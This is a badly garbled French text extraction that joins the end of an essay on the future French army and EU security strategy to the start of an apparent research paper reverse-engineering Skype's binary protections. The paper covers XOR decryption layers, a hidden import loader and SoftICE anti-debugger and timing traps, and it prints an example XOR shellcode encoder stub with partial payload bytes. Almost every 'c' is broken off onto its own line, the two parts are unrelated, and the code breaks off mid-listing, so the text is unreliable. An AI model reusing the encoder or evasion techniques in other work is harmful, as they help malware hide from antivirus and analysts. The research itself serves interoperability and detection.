on�it en Irak nous le souligne ave
 for
e. Nos opérations visent le plus souvent

à assister ou à protéger une population ou des 
ommunautés mena
ées, fût-
e d'ailleurs par leur

propre gouvernement. Outre l'imbri
ation étroite et permanente entre les troupes déployées sur le

théâtre et les 
ivils non 
ombattants, les for
es paramilitaires ou les fa
tions armées représentent

une mena
e souvent mal dé�nie mais bien réelle.

Dans 
ertaines 
ir
onstan
es les éléments hostiles se fondent dans la population lo
ale, dans

d'autres des 
ommunautés peuvent se lever 
ontre nos troupes. Le renversement d'allian
e entre

fa
tions, l'utilisation de 
ivils non 
ombattants par des adversaires résolus 
onstituent également

des éléments d'instabilité et de 
onfusion.

Dans 
es 
onditions, l'identi�
ation de l'ennemi sur le terrain demeure in
ertaine et l'emploi

de la for
e peut aller à l'en
ontre des obje
tifs �xés. Les for
es terrestres sont les seules 
apables

d'un bon dis
ernement. Elles sont don
 dans l'obligation de ne frapper d'une manière irréversible

que les a
teurs dire
ts et identi�és. De là dé
oule 
ette nouvelle appro
he dans l'emploi de

la for
e qui fait appel à l'ensemble du panel des modes opératoires, ave
 selon les 
ir
onstan
es

et l'intelligen
e des situations, trois nouveaux prin
ipes de l'emploi des for
es, s'ajoutant

aux prin
ipes de la guerre du Maré
hal Fo
h :

� 
elui de la gradation des e�ets qui 
orrespond bien à la 
on
entration des e�orts, 
elui

de la préservation des hommes, des ri
hesses matérielles et 
ulturelles, des infrastru
tures

qui 
orrespond à l'é
onomie des for
es et 
elui permanent de la légitimité des a
tions

qui 
orrespond bien aussi à 
elui de la liberté d'a
tion.

C'est à 
es 
onditions 
omplexes, que seuls les soldats des for
es terrestres peuvent prendre en


ompte ave
 toutes les nuan
es exigées, que l'usage politique de la for
e restera stri
tement adapté

à la mena
e, dans le but de maintenir le plus bas niveau de violen
e possible et de préserver la

légitimité perçue de l'a
tion et don
 de 
réer les vraies 
onditions de la paix.

C'est en e�et tout 
e qui peut permettre de réduire les risques de dommages irréversibles tout en


onservant à la for
e l'intégralité de ses 
apa
ités, qui parti
ipe ainsi à la légitimité et à la 
rédibilité

2

Ce
i ne s'oppose en rien à l'utilisation des for
es de poli
e, don
 de gendarmerie aussi, à l'extérieur du

pays lorsque les 
onditions et les besoins de poli
e sont expressément réunis.
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des a
tions né
essaires pour gagner le 
ombat de l'adhésion des populations. C'est le véritable gage

d'une 
ertaine liberté d'a
tion pour le général, mais aussi la 
ondition, absolument né
essaire, pour

gagner les guerres du futur, 
'est-à-dire d'établir la paix de façon durable.

Comment 
on
lure 
ette appro
he di�
ile vers une armée du XXIe siè
le sans passer

par l'Europe ? Surtout quand on sait que depuis dé
embre 2003 existe un 
on
ept stratégique de

sé
urité de l'Union européenne : � Une Europe sûre dans un monde meilleur �, a

ompagné par la


réation d une entité de 60 000 hommes et de plusieurs groupements de 
ombat à 1 500 hommes.

Il apparaît, en e�et, que l'analyse et l'interprétation de 
e 
on
ept peuvent fournir en l'état le


adre général de 
et essai de prospe
tive, ave
 un 
omplément pré
ieux aux divers éléments déjà

développés et qui demeurent modestes, in
omplets et fragiles. Nous devons nous 
onvain
re, sauf

à être fon
ièrement pessimistes, que l'armée française du XXIe siè
le à 
onstruire évoluera très

probablement au sein du 
on
ert européen. Il est don
 pertinent d'en bien 
onnaître la philosophie

fondatri
e pour tout 
e qui est relatif à l'e�ort de défense et de sé
urité.

En voi
i, en guise de 
on
lusion partielle pour une ré�exion très ina
hevée, des

éléments et un sentiment.

ARTEMIS, CONCORDIA, bient�t le 
ommandement de l'ISAF en Afghanistan 
on�é à l'EU-

ROCORPS, et la relève des unités de la SFOR en Bosnie à la �n de l'année 2004. La défense

européenne existe et progresse. Elle est au servi
e d'une stratégie de sé
urité européenne qui a été

rendue publique o�
iellement �n 2003.

La réda
tion de 
e 
on
ept stratégique de l'Union européenne ne fut 
ertainement pas


hose fa
ile, en raison des divergen
es de fond qui existent entre les Européens sur la politique

étrangère. Mettre tout le monde d'a

ord sur des intérêts stratégiques à défendre dans une Europe

où, à partir du mois de mai 2004 pays o

identaux et pays de l'ex-blo
 soviétique 
oexistent, où


ertains pays sont proatlantiques, tandis que d autres possèdent la dissuasion nu
léaire, n'est pas


hose aisée. Pourtant, l'environnement de sé
urité de l'Europe, 
'est-à-dire les dé�s et les prin
i-

pales mena
es, les obje
tifs stratégiques qu'elle s assigne et les impli
ations politiques pour l'Union

Européenne ont été pré
isés.

Con
ernant les dé�s et les prin
ipales mena
es auxquels l'Europe doit faire fa
e, une a�r-

mation forte est faite : sé
urité interne et sé
urité externe de l'UE sont intimement liées. A�n de

les assurer, les pays européens doivent répondre aux dé�s mondiaux qui peuvent remettre en 
ause


ette sé
urité : la mondialisation, les guerres, la pauvreté, la maladie, et la 
on
urren
e pour les

ressour
es naturelles 
omme l'eau ou le pétrole.

Cinq mena
es qui pèsent aujourd hui sur l'Europe sont identi�ées :

� le terrorisme, présenté 
omme � une mena
e stratégique 
roissante � pour l'Europe ;

� la prolifération des armes de destru
tion massive ;

� les 
on�its régionaux ;

� la désintégration des Etats et l'instabilité régionale ;

� la 
riminalité organisée, qui 
omporte une dimension extérieure.

Tous 
es dé�s et 
es mena
es font partie de l'environnement de sé
urité de l'Europe. Même si


es mena
es sont fo
alisées sur l'Europe, on remarque une très grande proximité ave
 la vision

stratégique améri
aine et le 
ontenu de la National Se
urity Strategy (2002). En e�et, le do
ument

européen parle notamment d'un axe du bien (� l'Union européenne et les Etats-Unis peuvent


onstituer une formidable for
e au servi
e du bien dans le monde �, p.15), pendant de l'axe du mal

de George W. Bush.

En 
ohéren
e ave
 
es mena
es, le premier des obje
tifs stratégiques de l'UE est de pouvoir

faire fa
e aux mena
es évoquées dans la première partie, ave
 tous les outils dont peut disposer
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l'UE, y 
ompris des moyens militaires. Il s agit pour l'Europe de ne pas se 
ontenter d'assurer sa

propre défense (� l'autodéfense �), mais aussi de pouvoir intervenir à l'étranger, là où se situe

� la première ligne de défense de l'UE �.

Le deuxième obje
tif est de � 
onstruire la sé
urité dans notre voisinage �, 
omme dans les

Balkans par exemple. C'est de � la 
onsolidation de nos réalisations dans 
ette région que dépend

la 
rédibilité de notre politique étrangère �. Aujourd'hui, l'Europe a pour obje
tif de pouvoir

intervenir de manière autonome dans son voisinage immédiat.

Le règlement de la 
rise au Pro
he-Orient 
onstitue l'autre priorité a�n d'assurer la sé
urité

de l'Europe. En�n, dernier obje
tif pour l'UE : défendre et développer le droit international et le

multilatéralisme, 
adre fondamental de l'ordre international. � La sé
urité peut être renfor
ée par

des mesures de 
on�an
e et la mise en pla
e de systèmes de 
ontr�le des armements, instruments

qui peuvent également 
ontribuer à la sé
urité et à la stabilité dans notre voisinage et au-delà �.

C'est don
 à partir de 
es buts que se révèlent les impli
ations politiques pour l'Europe, 
'est-

à-dire les points que l'UE doit développer et améliorer a�n de satisfaire pleinement aux obje
tifs

pré
édemment dé�nis : développer les 
apa
ités militaires, améliorer la 
oopération ave
 les parte-

naires et développer une politique 
ohérente.

L'UE doit être � plus a
tive � en matière de gestion de 
rise et de prévention des 
on�its.

Cela 
on
erne notamment les domaines politique, militaire, et 
ommer
ial. � L'UE doit être 
apable

d'agir avant que la situation dans les pays autour de nous ne se détériore, lorsque des signes de

prolifération sont déte
tés, et avant que des situations d urgen
e humanitaire ne surviennent �.

Pour 
ela, l'UE n é
arte pas la possibilité d'engager des a
tions préventives, a�n de faire fa
e

aux mena
es dé
rites plus haut et � d'éviter des problèmes plus graves dans le futur �. L'a
tion

militaire préventive n'est don
 pas in
on
evable dans 
e 
adre.

C'est à 
ette �n que l'UE doit développer ses 
apa
ités militaires opérationnelles, ave
 plus

de ressour
es disponibles et une meilleure utilisation de 
elles-
i.

La 
oopération ave
 les partenaires doit être privilégiée, et notamment le partenariat atlan-

tique, qui est jugé irremplaçable.

En�n, l'UE doit améliorer la 
ohéren
e de sa politique...

Le 
on
ept stratégique européen met de nouveau en avant le multilatéralisme, présenté 
omme

le prin
ipal obje
tif de l'UE, permettant d arriver à un monde plus équitable, plus sûr et plus uni.

Voilà don
, après les divergen
es qui ont opposé 
ertains pays européens ave
 les Etats-Unis au

sujet de l'intervention en Irak, un do
ument de stratégie européenne qui rappelle la primauté du

partenariat stratégique ameri
ano-européen, illustré par :

� une vision stratégique 
ommune,

� des mena
es et des intérêts dé
larés identiques,

� et une 
oopération réa�rmée entre les deux 
ontinents.

Au total, le but d'une 
apa
ité militaire européenne est de 
ontribuer aux opérations de maintien de

la paix, mais aussi d'interposition et de pa
i�
ation (les missions de Petersberg étendues de fa
to).

Aujourd hui, l'UE a�rme dans son 
on
ept stratégique vouloir 
onserver la possibilité de mener des

� engagements préventifs �, y 
ompris militaires. Toutefois, à la le
ture du do
ument de M. Solana,

on ignore en
ore à 
e jour (et 
'est bien normal) dans quel 
adre, unilatéral ou multilatéral.

En tout 
as, l'Union européenne a en�n sa propre vision stratégique. Même si 
e 
on
ept straté-

gique est un do
ument prudent et 
onsensuel, 
e qui en limite les intentions et la portée, même si la

défense européenne est loin d être autonome, dépendante toujours du partenariat nord-améri
ain,

elle devient de plus en plus 
on
rète 
haque jour, grâ
e notamment à la volonté de 
ertains pays

� lo
omotives � 
omme la Fran
e, l'Allemagne, et même le Royaume-Uni. D'autant plus que fa
e



13

aux mena
es a
tuelles, l'Europe a pris 
ons
ien
e qu'elle � ne peut plus désormais se 
onsidérer


omme étant en dehors du 
hamp de bataille

3

�.

Voilà pourquoi l'armée française du XXIe siè
le à 
onstruire sera inélu
table-

ment un des moyens majeurs de la sé
urité et de la défense européennes, 
e

qui 
on�rme la né
essité pour nous d'une nouvelle appro
he de l'emploi des

for
es armées et don
 des for
es terrestres, a
teur à part entière dans les opéra-

tions a
tuelles et futures. Ces opérations sont et resteront 
omplexes et souvent

longues puisqu elles ont bien pour obje
tif, non pas simplement de � gagner la

guerre �, mais d'établir la paix de façon durable, 
e que n'obtiendront jamais

seuls, les bombardements, les frappes 
hirurgi
ales ou les a
tions de va-et-vient

à partir de la mer. Nos for
es devront don
 y être préparées et adaptées, pour

permettre à notre pays et à l Europe de faire fa
e aux mena
es de 
e 21e siè
le,

sans pour autant abandonner 
e qui a toujours fait le génie propre de la Fran
e

et de son armée, au pro�t de modèles importés et souvent in
ompatibles ave


nos moyens, notre vision du monde et des rapports entre les pays et les hommes.

3

Daniel VERNET, Le Monde, 13 mars 2004.
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Castle in the Skype

Fabri
e Des
laux

EADS Corporate Resear
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DCR/STI/C

SSI Lab

Suresnes, FRANCE

Résumé Skype est un logi
iel de VOIP fondé sur une te
hnologies peer to peer. Il est simple

d'utilisation, s'installe sur n'importe quelle ma
hine. Ses 
ara
téristiques parti
ulières ont


réé un engouement important ainsi qu'une grande 
ommunauté d'utilisateurs.

D'un autre 
�té, le nombre important de 
onnexions ouvertes vers l'extérieur, son proto
ole

propriétaire ainsi que ses aptitudes à déjouer les �rewalls ont très vite été remarqués. De

nombreux autres faits avérés ou non sont venus gon�er les rumeurs : un programme et une


onsommation pro
esseur relativement important, au
un début de piste permettant de 
om-

prendre les mé
anismes réseau mis en ÷uvre, et pour 
ouronner le tout, sa gratuité. Ces

points et son rapide su

ès ont 
réé une 
ertaine aura de mystère autour de lui.

Quelques administrateurs réseaux, génés par 
e manque de transparen
e, ont re
her
hé un

moyen de bouter Skype hors de leurs réseaux. Mais 
eux-
i se sont vite rendus à l'éviden
e

qu'ils avaient a�aire à forte partie.

A�n d'imaginer un mé
anisme permettant de déte
ter Skype, il est né
essaire de 
omprendre

les mé
anismes et le proto
ole de Skype, et don
 d'étudier son binaire. Nous verrons dans

une première partie les mé
anismes de prote
tion, ainsi que les moyens utilisés a�n de les


ontourner, puis dans un se
ond temps l'étude de quelques fon
tionnalités assurant le bon

fon
tionnement du réseau Skype.

1 Skype : appli
ation fermée

Cette étude a été réalisée dans le but de faire de l'interopérabilité entre le proto
ole utilisé par

Skype et nos �rewalls. En e�et, les spé
i�
ations du proto
ole nous ont été refusées.

Une so
iété doit mettre en ÷uvre les moyens de protéger ses données informatisées.

2 Skype : un binaire por
-épi


Cette partie va dé
rire les méthodes de prote
tion de binaire. La plupart des te
hniques dé
rites


i-dessous sont 
onnues dans le monde de la prote
tion de 
ode (que 
e soit la prote
tion des logi
iels

de type � shareware � ou de systèmes anti-
opie utilisés dans les jeux vidéo).

Ces prote
tions sont en général trouvées dans des systèmes vendus 
lef en main. E�e
tivement,

quand un développeur désire vendre son appli
ation, il peut a
heter une de 
es prote
tions, l'appli-

quer sur son programme, et ne se sou
i plus des attaques auxquelles le binaire sera soumis. C'est

la prote
tion qui sera en premier lieu visée. Ce qui est notable est que 
es implémentations ne sont

pas i
i des prote
tions a
hetées mais bel et bien faites � maison �.

Cela est probablement dû au fait que les prote
tions 
ommer
iales sont pour la plupart 
assées

de façon générique 
'est à dire qu'un attaquant développe un outil permettant de 
ontourner 
es
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dernières en un seul 
li
 de souris. Dans le 
as présent, il faut étudier l'ensemble du système pour

en 
omprendre tous les mé
anismes.

2.1 Cou
he de 
hi�rement

Prin
ipe Une première méthode permettant d'éviter les attaques statiques est l'utilisation de


ou
hes de 
hi�rement. Skype en possède 5. Les enlever est relativement simple et peut être fait

de plusieurs façons.

Les binaires utilisant 
e prin
ipe se dé
hi�rent souvent entièrement en mémoire. L'astu
e est

alors de � dumper � le 
ontenu de la mémoire sur le disque. L'attaquant se retrouve alors ave
 une

version presque fon
tionnelle du binaire, et entièrement 
laire.

Une deuxième méthode est d'étudier en détail la partie de 
ode qui est responsable de l'auto-

dé
hi�rement du programme, puis de reprogrammer son propre dé
hi�reur.

I
i, on voit que le programme va tout d'abord se 
réer une zone de travail dans laquelle il

va dé
hi�rer l'ensemble des se
tions. On 
onnaît alors la taille approximative du binaire une fois

dé
hi�ré (e�e
tivement, en plus d'être 
hi�rés, 
ertains programmes sont 
ompressés).

Une des raisons de l'utilisation de 
ette zone de travail est de ne pas modi�er les o
tets 
ontenus

dans une se
tion de 
ode dire
tement : 
ela obligerait à avoir 
ette se
tion en read/write/exe
ute

et dé
len
herait la prote
tion matérielle de 
ertains pro
esseurs (normalement 
ontre l'exé
ution

de 
ode dans une zone modi�able). Notez tout de même que 
e
i n'a été fait que pour la version

Windows (la version Linux e�e
tue les modi�
ations dire
tement dans les se
tions de 
ode).

push 4

push 1000h

mov eax, ds:dword_C82958 ; 3D8000h

push eax

push 0


all VirtualAllo


mov ds:allo
ated_memory, eax

En C, 
ela donne :

VirtualAllo
(

NULL, // adresse de la région à allouer

3D8000h, // taille de la région

1000h, // type de l'allo
ation

4 // droits d'a

ès à la région

);

Pour pouvoir distinguer les parties de 
odes 
laires des parties 
hi�rées, le programme a i
i une

stru
ture de données. Celle-
i peut être déduite en observant le 
ode suivant :

mov eax, offset bin_base_addr

...

add eax, ds:start_
iphered_ptr[edx*4℄

...

mov eax, ds:start_un
iphered_ptr[eax*4℄
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add eax, ds:allo
ated_memory

...

mov dword ptr [ebp-14h℄, 7077F00Fh

...

mov eax, ds:size_
iphered[eax*4℄

Cette partie de 
ode, responsable de l'initialisation de la bou
le de dé
hi�rement, va tout d'abord

ré
upérer l'adresse de base du binaire, puis l'adresse de départ des o
tets 
hi�rés. Dans un deuxième

temps, il 
harge l'adresse de destination des o
tets une fois dé
hi�rés (notre zone allouée pré
édem-

ment plus un dé
alage) et la taille de la zone 
ourante à dé
hi�rer.

Nous pouvons dores et déjà re
onstruire 
ette stru
ture de donnée :

stru
t memory_lo
ation

{

unsigned int start_allo
;

unsigned int size_allo
;

unsigned int start_file;

unsigned int size_file;

unsigned int prote
tion_flag;

}

La bou
le de dé
hi�rement des parties de 
ode montre que la stru
ture pré
édente est utilisée

sous forme de tableau dans le binaire : nous avons don
 un tableau de stru
ture memory_lo
ation.

On peut ainsi retrouver la des
ription de toutes les zones 
hi�rées dans le binaire en relisant 
e

tableau depuis le binaire.

ZONE 1 ZONE 3

dd 1000h dd 29A000h

dd 250000h dd 13C000h

dd 1000h dd 29A000h

dd 250000h dd 3D000h

dd 20h dd 4

ZONE 2 ZONE 4

dd 251000h dd 3D6000h

dd 49000h dd 2000h

dd 251000h dd 2D7000h

dd 49000h dd 2000h

dd 2 dd 4

Notez que les zones sont situées les unes à la suite des autres (que 
e soit dans le binaire ou en

mémoire). Elles ne se re
ouvrent pas. On peut, grâ
e à l'attribut représentant les droits de la zone

en mémoire, distinguer les parties étant purement du 
ode de 
elle ne 
ontenant que des données.

À 
e stade, nous pouvons étudier la façon dont le programme s'auto dé
hi�re.

de
ipher_loop:

mov eax, [eax+edx*4℄

xor eax, [ebp-14h℄
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mov [edx+e
x*4℄, eax

...

mov eax, [eax+edx*4℄

xor eax, [ebp-14h℄

mov [ebp-28h℄, eax

add dword ptr [ebp-14h℄, 71h

in
 dword ptr [ebp-18h℄

de
 dword ptr [ebp-34h℄

jnz short de
ipher_loop

On voit que le � 
hi�rement � n'est en fait qu'une simple opération logique sur les o
tets

(un XOR). La 
lef, initialisée une fois par zone, est modi�ée à 
haque dé
hi�rement d'o
tet. Ce
i

permet de ne pas laisser transparaître les zones de padding du programme dans le binaire 
hi�ré.

E�e
tivement, quand on 
ompile un programme, la se
tion 
ontenant le 
ode �ni souvent sur un

padding 
omposé du même o
tet répété. Un XOR dévoilerait alors des informations. I
i, la 
lef

étant modi�ée à 
haque o
tet dé
hi�ré, deux o
tets 
lairs identiques ont un 
hi�ré di�érent.

Point 
ommun : Malware Il est intéressant de voir le rapport entre 
es te
hniques utilisées i
i

pour protéger un 
ode des regards indis
rets d'un attaquant, des moyens mis en ÷uvres dans le


amou�age de malwares (virus, trojan, shell
ode, et
). Pour 
omparer, voila un exemple de 
ode

assembleur représentant un en
odeur de shell
ode.

; Exemple de shell
ode en
odé


all dummy

dummy:

pop edx

sub dl, -25 ; ré
upération d'eip

short_xor_beg:

xor e
x,e
x

sub 
x, -0x15F ; taille du payload

short_xor_xor:

xor byte [edx℄, 0x99 ; dé
odage du payload

in
 edx

loop short_xor_xor

shell
ode:

db \xdd\xeb\xd6\xd0\xdd\x
a\xb9\xda

db \xf6\xeb\x
9\xf6\x
b\xf8\x
d\xd0

db \xd6\xd7\xb9\x
b\xe
\xd5\xd
\x
3

db ...

I
i, le payload du shell
ode est également 
hi�ré à l'aide d'un xor (ave
 
lef 
onstante). Dans

la plupart des 
as, 
e genre de manipulation est utilisé pour éviter 
ertains 
ara
tères interdits

(
omme le \x00, et
). Mais elles peuvent servir à 
a
her une 
haîne de 
ara
tère déli
ate, déte
tée

par un IDS (/bin/bash, 
md.exe, et
)
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La deuxième raison pour laquelle le 
hi�rement de 
ode est souvent utilisé par des virus est de

mettre au dé� un potentiel émulateur de 
ode. E�e
tivement, une des te
hniques utilisée par les

anti virus pour étudier le 
omportement d'un 
ode est de l'émuler . Ainsi, si 
e dernier exé
ute une

suite d'opérations jugée dangereuse, l'anti virus peut penser qu'il s'agit d'un 
ode malveillant. Dans

notre 
as, si le binaire solli
ite fortement l'émulateur (multi 
ou
he de 
hi�rement, manipulation

de 
al
uls en virgule �ottante, d'instru
tions exotiques 
omme les instru
tions MMX ) il y a de

fortes 
han
es pour que l'émulateur jette l'éponge. Ce dernier n'arrive don
 pas à déterminer le


omportement du 
ode visé, né
essitant alors une intervention humaine.

Une fois que le binaire est re
onstruit dans la zone allouée, il utilise 
ette dernière pour é
raser

les o
tets originaux. La phase suivante 
onsiste à remettre les droits (exé
ution, le
ture, é
riture) à


haque zone.

Le résultat est un binaire dé
hi�ré, 
omme s'il avait été 
hargé par le système d'exploitation.

Le dé
hi�reur est don
 transparent et ne 
hange nullement le 
omportement du binaire original.

L'étape suivante est l'é
rasement d'une partie du 
ode de dé
hi�rement. N'étant plus utilisé, le

binaire l'e�a
e de la mémoire pour le 
a
her des regards indis
rets.

; Exemple d'effa
ement de 
ode

; (Anti dumping)

mov edi, offset debut_zone_a_effa
er

mov e
x, offset fin_zone_a_effa
er

sub e
x, edi

xor eax, eax ; on rempla
e le 
ode par \x00

rep stosb

2.2 Import in
omplet de fon
tions

Mé
anisme Mais les festivités ne s'arrêtent pas là. Un binaire embarque en règle générale une

stru
ture dé
rivant les bibliothèques et les fon
tions né
essaires pour son bon fon
tionnement. Ce
i

permet au système d'exploitation de s'assurer qu'elles seront bien présentes en mémoire avant

l'exé
ution du 
ode proprement dit. Cette table est appelée table des imports.

Le problème est qu'un attaquant peut s'inspirer de 
ette table pour en déduire les fon
tionnalités

du binaire, et même les moyens utilisés pour y parvenir. Le programme étudié possède un mé
anisme


amou�ant une partie de 
ette table.

Le binaire a bien une table des imports, 
omportant plusieurs bibliothèques, mais 
e qui nous

met la pu
e à l'oreille est qu'un binaire désirant 
ommuniquer par TCP/UDP importe en général

� WS2_32.dll � (o�rant justement des fon
tions de manipulation de so
ket). I
i, 
ette bibliothèque

n'est pas importée.

Le 
ode suivant s'assure justement du 
hargement manuel de 
ette bibliothèque. Ainsi, un mi-


ro loader a été implémenté remplaçant 
elui de Windows. Il implémente les fon
tions minimales

né
essaires pour :

� 
harger une bibliothèque (DLL) ;

� 
harger une fon
tion d'une bibliothèque (utilisant son nom) ;

� 
harger une fon
tion d'une bibliothèque (utilisant son ordinal).

Pour y parvenir, le 
ode utilise une astu
e assurant 
es 3 fon
tions de manière générique. La

même stru
ture interne est utilisée pour représenter 
es trois types de données :
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stru
t

{


har* nom;

int * ordinal;

unsigned 
har* adresse;

}

� si l'attribut nom est présent, et que les deux autres 
hamps sont nul, le 
ode sait qu'il s'agit

d'un 
hargement de bibliothèque ayant pour nom l'attribut nom ;

� si l'attribut nom est présent, et que les l'attribut adresse n'est pas nul, il s'agit d'un 
har-

gement de fon
tion appelé nom, et que l'adresse de la fon
tion doit être é
rite à l'adresse

adresse. Cette fon
tion est lue depuis la dernière bibliothèque 
hargée ;

� si l'attribut ordinal est présent, et que l'attribut adresse n'est pas nul, il s'agit d'un 
hargement

de fon
tion d'ordinal ordinal, et l'adresse de la fon
tion doit être é
rite à l'adresse adresse.

Cette fon
tion est lue depuis la dernière bibliothèque 
hargée.

Voilà quelques exemples illustrant le mé
anisme pré
édent :

I
i, un 
hargement de bibliothèque (WINMM.dll)

dd offset aWinmm_dll ; "WINMM.dll"

dd 0

dd 0

I
i, un 
hargement de fon
tion par son nom (waveInReset) à l'adresse 3D69D0h.

dd offset aWaveinreset ; "waveInReset"

dd 0

dd 3D69D0h

En�n, un 
hargement de fon
tion utilisant son ordinal (3) à l'adresse 3D6A90h.

Ordinal 3

dd 0

dd 3

dd 3D6A90h

Notez que si l'on tente de dumper le binaire depuis la mémoire sur le disque, le binaire ne sera

pas fon
tionnel. E�e
tivement, sa table des imports ne sera pas 
omplète. Pour obtenir un binaire


orre
t, il faut re
onstruire une table des imports 
omplète en fusionnant la table des imports

originale et la table supplémentaire importée par le mi
ro loader, puis inje
ter le résultat dans le

nouveau binaire.

La table originale est lue en utilisant un outil 
lassique (
omme Stud_PE ). La table additionnelle

doit être lue en utilisant la stru
ture interne la dé
rivant.

Utilisation dans les 
odes malveillants I
i en
ore, l'utilisation du 
amou�age des fon
tions

importées par le binaire est très 
ommun dans le monde du malware. Plus pré
isément, l'utilisation

de Pa
kers de binaire. Ceux-
i (
hi�rant également les se
tions de 
odes ou de données) prennent

en main le 
hargement des bibliothèques utilisées par le programme. Ainsi, un binaire re
onstruit à

l'aide d'UPX (un pa
ker d'exé
utables) ne montrera que 11 fon
tions importées, et 
e, quel que soit

le nombre de fon
tions importées à l'origine. Ces 11 fon
tions sont les bases utilisées pour 
harger

de façon dynamique le reste des fon
tions du binaire.
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� LoadLibraryA

� GetPro
Address

� ...

Voila une image permettant d'appré
ier les di�éren
es entre le binaire original, et une fois

dé
hi�ré.

Fig. 1. Légende : Code (en bleu), données (en vert) et 
ode non référen
é (en rouge)

Quelques 
hi�res sur les imports de fon
tions :

� 674 import apparents

� 169 imports 
a
hés

Bibliothèques 
hargées par le loader interne du binaire

� KERNEL32.dll

� WINMM.dll

� WS2_32.dll

� RPCRT4.dll

� . . .

2.3 Anti debugger et Dionea mus
ipula Ellis (Drosera
eae)

Dans le but d'éviter les attaques dynamiques, Skype implémente plusieurs te
hniques anti de-

bugger, notamment 
ontre Softi
e. Ces méthodes étant relativement 
lassiques, il est fa
ile de les

déte
ter dans une analyse rapide du binaire.

Nous avons vu qu'un loader était exé
uté avant le binaire. Celui-
i 
omporte un premier test

déte
tant la présen
e du debugger Softi
e. La méthode reste 
lassique : le debugger Softi
e est


omposé de plusieurs pilotes (
ar Softi
e est un debugger ring0). Le but est de se faire passer pour

une appli
ation 
liente de 
e pilote. On demande don
 au système d'exploitation de 
harger 
e

dernier. S'il est en mémoire, le systèmes d'exploitation renverra alors un handle vers 
e pilote ; dans

le 
as 
ontraire, un pointeur NULL.

mov eax, offset str_Siwvid ; "\\\\.\\Siwvid"


all test_driver

test al, al

Ce premier test est fait avant tout dé
hi�rement des se
tions. Il peut être 
ontre
arré soit en

renommant les pilotes, soit en observant les fon
tions du système d'exploitation permettant de


harger un pilote (et en forçant un retour de pointeur NULL).

Notez que les noms des pilotes à 
harger ne sont pas expli
itement sto
kés en 
lair dans le

binaire. Ceux-
i sont également altéré et dé
hi�rés au moment de l'exé
ution. Dans le 
as 
ontraire

un strings sur le binaire aurait révélé l'anti-debugger de manière triviale.

Voila la forme de 
es 
haînes de 
ara
tères 
hi�rées dans le binaire :
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db 'B494A6545B414B4D',0

db 'B49AACA6B9A3FD7C636E',0

db 'B49BAB5DB7BD80CA4C',0

db 'B49D5D8BCC4638F9666B5C5B4E5D5B',0

Les 
haînes une fois dé
hi�rées sont :

\\.\SICE

\\.\Siwvid

\\.\NTICE

\\.\SiwvidSTART

Une deuxième déte
tion est faite beau
oup plus tard dans l'exé
ution du binaire (dé
len
hé à

l'appel de 
ertaines fon
tions). Le but i
i n'est plus de faire 
on�an
e aux pro
édures 
hargeant

un pilote, mais de re
her
her de manière exhaustive tous les pilotes dans une stru
ture interne de

Windows.


all EnumDevi
eDrivers

...


all GetDevi
eDriverBaseNameA

...


mp eax, 'nti
'

jnz next_


mp ebx, 'e.sy'

jnz next_


mp e
x, 's\x00\x00\x00'

jnz next_

La fon
tion EnumDevi
eDrivers() permet justement de ré
upérer une liste 
haînée de stru
tures

dé
rivant les pilotes a
tuellement 
hargés en mémoire. La suite du 
ode 
ompare le nom des pilotes

à � nti
e.sys � (
orrespondant justement au nom d'un pilote utilisé par Softi
e).

Notez au passage que la 
omparaison n'est pas faite ave
 un str
mp() beau
oup trop voyant pour

un attaquant. De plus, le nom étant 
omparé par mor
eaux, la 
haîne de 
ara
tère � nti
e.sys �

n'est pas sto
kée de façon visible dans le binaire.


mp esi, 'i
ee'

jnz short next


mp edi, 'xt.s'

jnz short next


mp eax, 'ys\x00\x00'

jnz short next

D'autre noms de drivers sont également re
her
hés dans 
ette liste : i
i, le pilote � i
eext.sys �

(étant un plug-in de Softi
e permettant au passage de 
ontourner 
ertains anti-debuggers).

Dans le tout premier test anti-debugger, le programme expli
itait qu'il fallait arrêter tout de-

bugger avant de relan
er l'exé
utable. Dans le deuxième test, le programme sait 
lairement qu'il y

a une tentative d'intrusion dans le 
ode : le premier test étant passé, 
ela signi�e normalement que

le debugger n'est pas en mémoire. Si dès lors on le déte
te, 
'est que le premier test a été faussé, et

qu'un attaquant est en train d'analyser le 
ode.
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Exemple de 
as réel : ver Cette méthode de déte
tion de debugger est également utilisée pour

protéger un virus/ver. L'exemple est fait dans le ver Worm.Win32_Bropia-N. Ce ver 
ontient une

sous routine déte
tant la présen
e du debugger Softi
e en 
hargeant ses pilotes. Le ver termine son

exé
ution dans le 
as ou 
e dernier est présent sur la ma
hine (sans oublier d'a�
her un texte d'une

rare qualité de style).

De même, 
ertains vers déte
tent la présen
e d'anti virus et terminent leur exé
ution. On 
om-

men
e à voir des virus qui terminent également des pro
essus 
omme Ollydbg (un autre debugger).

Comme par exemple, le ver Worm.Win32_Mytob-AR.

Une autre te
hnique de déte
tion est de tester le temps d'exé
ution pris par une pro
édure. Dans

la plupart des 
as, une pro
édure (
onnue) va prendre un temps T pour s'exé
uter. Si un attaquant

est en train de tra
er pas à pas 
ette pro
édure, son temps d'exé
ution sera signi�
ativement

rallongé. I
i 
'est pareil : le 
ode dé
len
he un 
hronomètre au début de l'exé
ution de la pro
édure.

Il l'arrête à la terminaison de 
elle-
i. Si le temps pris est supérieur à par exemple 10 ∗ T , 
'est
qu'elle a été tra
ée. Le 
ode permettant de mesurer le temps est plus ou moins bien 
a
hé : les plus

simples font appel à une fon
tion du système d'exploitation GetTi
kCount (renvoyant le nombre de


y
le d'horloge é
oulé depuis l'allumage du pro
esseur). Ceux-
i sont fa
ilement identi�ables dans

un 
ode.


all getti
k
ount

mov getti
k
ount_result, eax

On peut rendre le mé
anisme un peu plus subtil : il s'agit de faire dire
tement appel à une

instru
tion du pro
esseur rdts
 renvoyant également 
e nombre de 
y
le d'horloge.

Mais que faire si l'on déte
te qu'un debugger est en train de tra
er notre 
ode ?

La première idée serait de terminer l'exé
ution. Mais la, un attaquant pourrait retrouver l'endroit

du test et modi�er le programme.

Skype et la méthode du gobe-mou
he : quand Skype déte
te un attaquant par mesure de temps,

le programme se débrouille pour envoyer le debugger dans une zone de non retour empê
hant du

même 
oup l'attaquant de remonter à l'endroit du 
ode l'ayant trahi (d'où le nom gobe mou
he).

Le programme 
rée tout d'abord une page en mémoire remplie d'o
tets aléatoires. Puis il ran-

domize tous les registres et �nit par sauter sur 
ette page aléatoire. Ces pré
autions sont prises
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pour e�a
er toute tra
e permettant de remonter au 
ode de déte
tion (pas de 
all sta
k, d'adresse

de retour, de registre 
ontenant des adresses de fon
tions).

pushf

pusha

mov save_esp, esp

mov esp, ad_allo
?

add esp, random_value

sub esp, 20h

popa
